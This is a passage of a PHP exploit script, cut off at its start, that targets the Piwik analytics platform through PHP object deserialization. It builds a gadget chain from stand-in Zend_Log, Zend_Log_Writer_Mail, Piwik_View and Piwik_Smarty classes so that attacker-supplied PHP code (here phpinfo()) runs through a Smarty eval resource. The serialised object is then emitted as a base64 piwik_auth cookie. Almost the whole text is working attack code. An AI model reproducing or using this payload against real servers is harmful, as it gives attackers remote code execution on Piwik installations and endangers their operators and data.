_plugins['resource']['xpl'][0][0] = array($this, '_eval'); $this->_plugins['resource']['outputfiler'] = array(); } } class Piwik_View { private $template; private $smarty; public function __construct() { $this->template = 'xpl:'.$GLOBALS['phpcode'].'die();'; $this->smarty = new Piwik_Smarty(); } } class Zend_Mail { } class Zend_Log_Writer_Mail { protected $_mail; protected $_layout; protected $_eventsToMail; protected $_subjectPrependText; public function __construct() { $this->_mail = new Zend_Mail(); $this->_layout = new Piwik_View(); $this->_eventsToMail = array(1); $this->_subjectPrependText = null; } } class Zend_Log { protected $_writers; public function __construct() { $this->_writers = array(new Zend_Log_Writer_Mail()); } } $phpcode = 'phpinfo();'; $xpl = new Zend_Log(); $xpl = array(0 => $xpl, 999 => true); $xpl = serialize($xpl); $xpl = str_replace("i:999;b:1;", "i:0;b:1;", $xpl); echo "Cookie: piwik_auth=x=".base64_encode($xpl);